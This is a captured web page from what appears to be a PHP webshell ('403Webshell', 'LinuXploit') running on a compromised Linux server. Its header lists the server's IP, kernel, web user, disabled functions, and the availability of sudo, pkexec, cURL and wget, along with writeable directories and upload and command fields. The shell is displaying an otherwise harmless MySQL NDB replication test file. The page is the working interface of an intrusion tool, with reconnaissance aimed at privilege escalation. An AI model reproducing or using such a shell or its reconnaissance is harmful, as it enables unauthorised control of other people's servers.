403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.92.190
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/ndb_dist_priv_ndb.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

#
# Test the behaviour of all SQL commands affected
# by having MySQL privilege tables stored in NDB
# This should yield the same result as when running
# this test with default privilege tables

--source include/not_embedded.inc
--source include/have_ndb.inc
--source include/have_binlog_format_mixed_or_row.inc

# Start replication
--source include/master-slave.inc

# Setup distributed privilege tables
--disable_query_log
let $expected_default_engine = MyISAM;
let $default_engine= `select engine from information_schema.tables
                        where table_schema = "mysql" and table_name = "user"`;
if ($default_engine != $expected_default_engine)
{
  # Detect when default engine for system tables change
  echo Default engine of MySQL System tables seems to have changed;
  echo Expected: '$expected_default_engine', Got: '$default_engine';
}
alter table mysql.user engine = ndb;
alter table mysql.db engine = ndb;
alter table mysql.tables_priv engine = ndb;
alter table mysql.columns_priv engine = ndb;
alter table mysql.procs_priv engine = ndb;
alter table mysql.proxies_priv engine = ndb;
flush privileges;
--enable_query_log

# Create connections to different mysqld(s)
--connect(server1,127.0.0.1,root,,test,$MASTER_MYPORT,)
--connect(server2,127.0.0.1,root,,test,$MASTER_MYPORT1,)

# Run the common test script
--source ndb_dist_priv_common.inc

# Cleanup distributed privilege tables
# - Force restart since other tests depend on the _exact_
#   order of rows in for example mysql.user and altering from
#   NDB does not work on other than the server using the ALTER
--source include/force_restart.inc

# End replication
--source include/rpl_end.inc


Youez - 2016 - github.com/yon3zu
LinuXploit